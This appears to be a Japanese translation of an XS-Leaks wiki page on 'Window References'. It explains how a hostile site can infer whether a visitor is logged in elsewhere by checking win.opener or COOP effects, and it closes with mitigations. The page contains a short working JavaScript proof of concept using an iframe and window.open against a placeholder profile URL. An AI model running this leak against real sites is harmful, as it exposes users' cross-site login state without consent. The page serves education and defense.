Window References

Window References

October 8, 2020
Abuse Window References
Category Attack
Defenses Fetch Metadata, SameSite Cookies, COOP

もしページが opener プロパティを null に設定したり、ユーザーの状態に応じて COOP による保護を使用している場合、その状態に関するクロスサイト情報を推測することができます。 例えば、攻撃者は認証されたユーザーのみがアクセスできる iframe (または新しいウィンドウ) でエンドポイントを開き、そのウィンドウの参照をチェックするだけで、ユーザーがログインしているかどうかを検出することができます。

コード #

以下のコードは、open プロパティが null に設定されているかどうか、あるいは COOP ヘッダーが unsafe-none 以外の値で存在するかどうかを検出する方法を示しています。 これは、iframeと新しいウィンドウの両方で行うことができます。

// 脆弱な攻撃対象URL
const v_url = 'https://example.org/profile';
const exploit = (url, new_window) => {
  let win;
  if(new_window){
    // 新しいタブを開き、win.opener が COOP の影響を受けたか、あるいは null に設定されたかどうかを確認
    win = open(url);
  }else{
    // opener が定義されているかどうかを検出するために iframe を作成
    // COOP の検出や、ページがフレーム保護を実装している場合は機能しない
    document.body.insertAdjacentHTML('beforeend', '<iframe name="xsleaks">'); 
    // iframeを脆弱な攻撃対象URLにリダイレクトする
    win = open(url, "xsleaks");
  }
  
  // ページのロードを2秒待つ
  setTimeout(() => {
    // 新しく開いたウィンドウのオープナープロパティを確認する
    if(!win.opener) console.log("win.opener is null");
    else console.log("win.opener is defined");
  }, 2000);
}
exploit(v_url);
exploit(v_url, 1);

対策 #

この種の XS-Leak を軽減する方法は、COOP を使って全てのページで opener プロパティを同じ値に設定し、異なるページ間で一貫性を保つ必要があります。 JavaScript を使って openernull に設定すると、iframe のサンドボックス属性を使用して JavaScript を完全に無効にすることができるため、エッジケースが発生することがあります。